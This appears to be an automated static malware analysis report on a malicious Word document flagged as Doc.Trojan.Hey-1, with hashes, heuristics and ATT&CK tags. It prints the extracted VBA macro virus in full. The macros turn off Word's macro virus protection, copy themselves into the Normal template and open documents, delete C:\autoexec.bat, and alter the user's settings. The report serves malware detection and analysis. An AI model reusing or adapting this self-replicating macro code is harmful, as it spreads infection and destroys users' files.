Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 efc5a4eda2a186d1…

MALICIOUS

Office (OLE)

29.5 KB Created: 2000-03-08 10:57:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: fd652c57d401b908c5bb407864881460 SHA-1: 3fbdf7a40ce6525642154b0ae5805ed8a558ab29 SHA-256: efc5a4eda2a186d12ec80e20810a15e2d8811bc73a30c36f0069222795c06bae
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The AutoOpen macro is present and configured to execute automatically upon opening the document. The script also contains a call to 'Kill "C:\autoexec.bat"', indicating an attempt to remove potential competing malware or clean up traces. The ClamAV detection 'Doc.Trojan.Hey-1' further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Hey-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hey-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1401 bytes
SHA-256: ddcb954e67fdf37db679b10ddd9e323dbf7662c3402c1b562bb079f62f8d155d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True


Attribute VB_Name = "Modulo1"
Sub AutoOpen(): Options.VirusProtection = 0
Application.Caption = "MIcroSOFT - DROW | lamp!!!?"
End Sub
Sub AutoNew()
©é£ã
End Sub
Sub ©é£ã()
Set ¤ = NormalTemplate.VBProject.VBComponents(1): Set ¡ = ActiveDocument.VBProject.VBComponents(1): Set £ = ThisDocument.VBProject.VBComponents(1):
If ¤.CodeModule.CountOfLines < 1 Then ¤.CodeModule.InsertLines 1, £.CodeModule.Lines(1, 40)
If ¡.CodeModule.CountOfLines < 1 Then ¡.CodeModule.InsertLines 1, £.CodeModule.Lines(1, 40)
End Sub
Sub DateiBeenden()
End Sub
Sub ExtrasMakro()
End Sub
Sub FormatZeichen()
©é£ã
End Sub
Sub HilfeInfo()
Kill "C:\autoexec.bat"
End Sub
Sub ExtrasOptionen()
Application.UserName = "Zeus"
Application.UserAddress = "HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA"
Application.UserInitials = "Dead"
Dialogs(wdDialogToolsOptions).Show
End Sub
Sub DateiSpeichernUnter()
Dialogs(wdDialogFileSaveAs).Show (1000)
End Sub
Sub BearbeitenEinfügen()
©é£ã
End Sub
Sub BearbeitenSuchen()
©é£ã
End Sub
Sub AutoClose()
©é£ã
MsgBox "", , ""
End Sub

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